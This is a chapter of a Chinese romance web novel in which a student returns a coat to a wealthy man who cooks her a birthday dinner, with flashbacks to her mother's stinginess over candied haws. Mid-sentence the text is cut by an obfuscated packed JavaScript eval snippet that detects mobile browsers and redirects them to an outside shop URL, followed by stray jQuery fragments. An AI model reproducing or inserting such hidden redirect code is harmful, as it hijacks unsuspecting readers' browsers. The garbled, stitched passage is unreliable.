MTZ：醒了没，医生说了，肠胃恢复阶段要饮食清淡干净，要认真吃饭。看合不合胃口。


    祁星尔眨了一下眼睛，心中泛起一股暖流，她没意识到自己的嘴角浅浅勾了一下。


    她还没有吃便回复：谢谢。很好吃。多少钱？我转你。


    酒店里点餐并不便宜。


    MTZ：不用谢，真要谢就帮我把那件外套洗了。


    衣架杆上，挂着一件昨天夜里，给祁星尔垫坐的衣服。


    一颗星星：行吧，还真能手洗，还以为你是安慰我的。


    随后孟停之发来一个地址。


    MTZ：我家，洗好后送这里。


    一颗星星：[OK]表情包


    祁星尔回学校后，没有自己洗，想来想去还是找干洗店。祁星尔心想，他眼里中的平价和我眼里的不该是一个层次。


    接下来的一切都恢复如常，祁星尔又成了生活里普通的螺丝钉。


    每天三点一线，学校，兼职地方，学校。


    只做线下兼职肯定不够，祁星尔大一空闲时自学了剪辑，虽不算大神级别厉害，但剪一剪切片还是可以的。大多时候减卖货主播切片挂链接赚佣金，偶尔心血来潮剪拉郎配自嗨一下，总体下来收入还算不错。


    一家人群里，三人很少聊天，祁星尔是个在线上聊天话比较少的人，对于父母更是不知道说什么。


    十多天的样子，祁母会以一种撒娇看似讨好的语气，“星尔，说说话呀（调皮表情）”或是偶尔起一两句争执，祁母当个中间人，温和亲昵的言语中，总是藏着威胁或是威压、命令。


    只要不是影响她前途的事，祁星尔也都随他们去。


    洗衣店老板那几天没有开门，第二周才开，还衣服那天已经是十天后。


    她原想闪送过去，但想着孟停之帮她太多，单说陪她去医院照顾她，一个认识不久的陌生人，这份好对她来说有点梦幻。


    大约是有梦的那层滤镜在，潜意识里，祁星尔认为孟停之骨子里就是这样一个人，对谁都好，或许对孟停之来说，帮她不过是举手之劳。


    对祁星尔来说不同，她习惯了一个人，她因为时常兼职，做任何事讲究效率而非人情，和室友们三观更有许多不合。


    生病一个人去医院她觉得没什么，可急性肠胃炎是第一次，半夜进急诊也是第一次，在这之前她对急诊没有概念，更觉得自己是个坚强的人。


    这一次，如果不是孟停之，她一个人身体上会遭更多罪。


    她会跑来跑去排队挂号、取药、吃药，而她当时身体本就不行，如果孟停之不在，她不敢想象。


    打心底里，她很感谢孟停之，没有把她送到医院后，撂在那里转身离开。


    而在祁星尔的价值观里，无论对方是个怎样的人，别人在她危难时帮了她，她既然受了就得还回去，至少应该当面表示感谢。


    星期天她家教结束后，又将自己收拾了一番，不是精致的打扮，无非是换了件亮净的衣服，头发梳整齐，整个人看起来有精气神，不至于病恹恹的。


    ……


    孟停之和易柏然开了一家商务会所，平时二人处理其他工作也在这上面。


    今天易柏然看他却在五点多就开始收拾东西，这不像他，搁以往不到九点绝不走。


    “您今儿个是有什么事儿？五点多就在收拾东西。”易柏然没个正形，长腿一迈，侧身坐上孟停之的办公桌。


    孟停之赶脏东西似的抬手：“你很闲？”他整理干净办公桌，进入休息室，对着镜子正了正领结，穿上黑大衣。一身黑，挡不住的贵气。


    他提上生日蛋糕，又提了个黑色小皮箱走了。


    “谁过生日啊？你女朋友？”易柏然不明所以：“你没女朋友啊。”


    孟停之走出办公室没搭理他，易柏然忽然想到什么，脑中灵光乍现：“难道是那个女大学生？”


    孟停之合门前，淡淡施舍给他一个眼神，眼中藏着小雀跃。


    “？！还真是！”


    “啧啧啧，吃嫩草……”


    孟停之：“火锅店的事你找别人吧。”


    易柏然马上闭嘴：“别，我口误，是郎才女貌。祝您约会顺利。”


    孟停之唇角压了压，关门离开。


    易柏然大脸震惊，百年不笑的冰块脸居然笑了，有这么高兴嘛？


    刚认识孟停之的时候，虽看着身价不凡不像是普通人，但却心事重重，始终皱着眉头，从来不笑。易柏然曾一度怀疑他是不是面瘫。


    ——


    孟停之提前半小时就到了，他把车停在小区附近，六点半的时候看见祁星尔从出租车上下来，他启动车开向小区门口。


    “诶，还真凑巧，你竟也刚好回来。”


    小姑娘露出白齿，一张素净灵动的脸笑得灿烂。


    孟停之按下车窗，侧身探头，微抬唇角。


    祁星尔忙递上衣服。同一刻，他道：“上车吧。”


    “？”她打开车门利索地上车，原是开后车门，转念一想孟停之岂不成司机？她可没那么大的脸，关上门坐上副驾驶。


    祁星尔哈气搓了搓手，摸了摸耳朵，北方的冬天寒气重，看似阳光明媚实则寒气凛然。


    临近玄关处，孟停之俯身拿出一双女士拖鞋，粉色棉拖，和他那双有冷感的皮质拖鞋不同。


    全新未拆封。


    “不用，我穿这双旧的就行。”旁边有一双灰黑色皮质拖鞋，边角处略微掉皮。


    “那双鞋码大。”


    祁星尔接过换下，内心有点过意不去。


    不大不小，刚好合适。


    “随便坐，就当自己家。”


    祁星尔环顾四周，整体深灰色调，低调中透露着奢华。


    她不认识这些家具牌子，但有几个logo她在杂志上见到过，价格触目惊心。


    她寻了处小沙发边角坐下，把袋子端放在放在桌几上，比划着，细心理平皱乱的牛皮纸袋，待把袋子理满意了，才放好起身。


    桌几干净整洁，酒柜处有个扫地机器人，房子看着像个样板间，不像是人常住的地方。


    对面餐桌处放了个六寸的蛋糕，蓝白色，简单又漂亮。


    “今天你过生日？”祁星尔走到孟停之身后。


    男人的衬衣挽至小臂，凉水冲过修长的指节，他转身低头，对上少女乌黑明亮的瞳孔。


    “今天是2024年11月18日。”


    小姑娘恍然大悟，转头看向别处，眉目中尚且云里雾里。


    “哦，好像是……我的生日……”


    祁星尔蹙眉思索几秒回过神，又警惕起来，像只警铃大作、交臂防卫的狸花猫。


    “你怎么知道？”


    “上回你的学生证落在民宿。”


    “原来如此……”


    孟停之摆好果盘放在餐桌上。


    “先吃点水果。”


    小块的水果外面裹了一层糖衣，有的山楂果子裹了白色的糖霜。


    “这是你做的？”


    “没想到你还会做糖葫芦，真厉害。我以前尝试过好几次，都失败了，糖浆糊黑糊黑的，特别苦。”


    祁星尔拿起一小串，轻咬一口，琥珀似的糖衣破裂，酸甜的橘子汁在口腔中爆开。


    “味道比店里的还好吃！”眼睛透亮，孟停之想起外公家的狸花猫，吃到好吃的东西时，就是这副表情。


    滚圆的眸子瞬间透亮，然后大口猛吃。


    孟停之做的糖霜果子很干净，断枝处没有一点污渣。


    吃了两三个发现孟停之还没吃。


    “你也吃一个。”糖霜果子已经贴上孟停之唇角。


    冰凉又甜腻。


    孟停之睫毛微颤，顺着果子看向祁星尔。


    少女鼓圆的腮帮子，像只小仓鼠。


    他就着吃下整颗果子，上唇瓣微不可察地吻上少女细白的指尖。


    一触即离。


    祁星尔的心抖了一瞬，假装什么事也没发生，自然地收回手，背在身后磨搓刚才被亲过的指尖。


    她试图找话题，转移片刻的慌张与心悸。


    “我小的时候，大概四五岁，有一次过年我妈带我去公园看灯光展，旁边就有许多卖小玩具小零食的商贩。尤其糖葫芦，许多大叔扛着稻草糖葫芦靶，四处喊卖。”


    “我吧，嘴比较馋，就让我妈给我买。”她笑着回忆。


    孟停之认真地看着她。


    “但是呢，糖葫芦甜的只是外面那层糖衣，我嘛那时候只知道吃糖衣不吃山楂，剩下都给我妈吃了。后来我妈就再也没给我买过，我可怀念了。


    我没有零花钱，卖糖葫芦的很难遇见，上初中前就一直没再吃过。后来上初中了，每周回家有车费，我就省下来，去买糖葫芦。”


    “说来搞笑。”祁星尔忽然笑起来，“我居然把城中心所有的糖葫芦店，都光顾了一遍。然后有一次，有家糖霜果子的山楂洗得不干净，我吃得多，拉了好几天肚子。”


    孟停之的思绪被拉到祁星尔小时候。


    四五岁的小祁星尔，盯着老爷爷的糖葫芦串，挪不开眼，四周的小朋友人手一串。


    出来玩谷兰从不会给她买零食，美其名曰不能让孩子娇生惯养，不能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311166|198852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宠溺。因此祁星尔也从不会要东西，问她想吃什么，她都两个字：随便。


    这次谷兰或许看不下去，长出一口气白了祁星尔一眼，走到卖糖葫芦的跟前：“这一串多少钱？”


    “一串五元。”


    听见这个数字，小祁星尔明显紧张起来，她握紧手，说不出话，乌黑的瞳孔瞬间鼓胀起来。


    她没想到这么贵。


    五元，那可是五元！可以买十包辣条了。


    果然，谷兰尖锐的声音响起：“多少？五块？！”一串十个大山楂，平常三元一串，现在是春节自然要贵一点。


    谷兰垂眸，晦气地看向祁星尔。


    最后不情愿地掏钱买了。


    祁星尔咬了一小口，小孩子味觉敏感，糖衣薄化得快，山楂酸得掉牙，很快左右眼开始上下跳舞。


    第二口，祁星尔先吃掉糖衣。


    “看吧我就说你吃不来，只吃糖衣不吃里面的山楂。”


    她没打算不吃，只是酸劲没缓过来。


    谷兰从她手中拿过，祁星尔以为母亲要吃就给她。


    谷兰以为女儿不要了，骂骂咧咧：“就不该给你买，浪费钱。”


    后来谷兰就没再还给她。


    以前总看其他小朋友吃，祁星尔只能眼巴巴望着，她不敢向父母开口要吃的零嘴。这次虽然有点伤心但还是高兴，她终于尝到了垂涎已久的糖葫芦。


    ……


    “晚上还有其他计划吗?”


    “没。”


    “今晚在这里吃。中午煮得多，一个人吃不完。”


    祁星尔像发现了新大陆，她撑住灶台歪头看向孟停之：“你中午还自己做饭？”


    孟停之穿上围裙：“嗯。有时候工作不多就提前回来。”


    “帮我系一下。”他递给祁星尔围裙，张开手。


    祁星尔半抱住他的腰，绕过绳子低头系。


    绳子不长，厨房光线暗，夕阳透窗洒在地上，少女低头抵着男人坚实的后背。


    少女身上纯净的洗衣液清香环绕在鼻尖，孟停之看着瓷砖上二人的影子，微不可察地扬了扬唇角。


    捯饬两分钟，祁星尔：“诶，终于好了。”


    今天他做了许多饭菜，长寿面，糖醋排骨，鲍鱼海参汤，黄焖鱼翅，清蒸螃蟹……不少繁杂的菜，也有许多家常菜。


    祁星尔再次刮目相看，她怀疑孟停之考了专业厨师证。


    “你以前当过厨师？”


    男人眼皮不抬一下，调火收汤：“没。闲着没事，做着玩。”


    祁星尔洗手帮忙，他道：“没多少事做，你在旁边看着我就行，实在无聊就尝一尝咸淡。”


    祁星尔尝了一两道菜，口味合适，甚至比饭店的好吃。


    “我觉得，你以后可以尝试自己开饭店，味道非常好！”她竖起大拇指。


    孟停之失笑，手里还拿着锅铲：“好吃就多吃点，小仓鼠。”


    饭做好后，祁星尔把菜端放到餐桌上。


    小盘的没多少，剩下还有煮的汤面。


    “余下的我来，你坐过去吧。”


    祁星尔到餐厅没多久，孟停之就用湿帕子包着汤碗出来了。


    “长寿面不多，要吃完。新的一岁才有更好的兆头。”


    长寿面清淡又不失鲜美，乳白的鱼汤不多，祁星尔一口喝下。


    孟停之在专心剥蟹，祁星尔目不转睛地盯着他的手看。


    冷白皮的大手骨节分明，指甲干干净净，修得整整齐齐，薄皮下的血管随着手背缠绕至手腕骨，修长的食指处戴着一枚古老的戒指。


    “前几天钟灵和我说，你手上戴的戒指我的很像。”祁星尔伸手给他看。


    外形纹路都一样，孟停之那枚中间嵌的水晶是蓝色，祁星尔的是紫色。


    “你不会，也是在那个老奶奶那里买的吧？”


    “老奶奶？”孟停之皱眉，若有所思。


    “对啊，满头白发，就在洛河市高铁站附近摆地摊。”


    孟停之瞳孔微缩，停下剥蟹的手，神情严肃。


    “嘿，你在想什么，走神了。”祁星尔见他目光涣散，在他眼前挥手都没看见，她打了一个响指。


    孟停之回过神：“哦，抱歉。嗯，确实，我也是在她那里买的。”


    不过是在十一年前，祁星尔走之后。


    “你的手很好看。”话题跳跃太快，突如其来的一句，孟停之顿住。


    盯着脆弱的血管，祁星尔心中陡然生出破坏欲，要是把血管戳破了，血液染指这样冷白的手，会不会很好看？


    “你可以摸一摸。”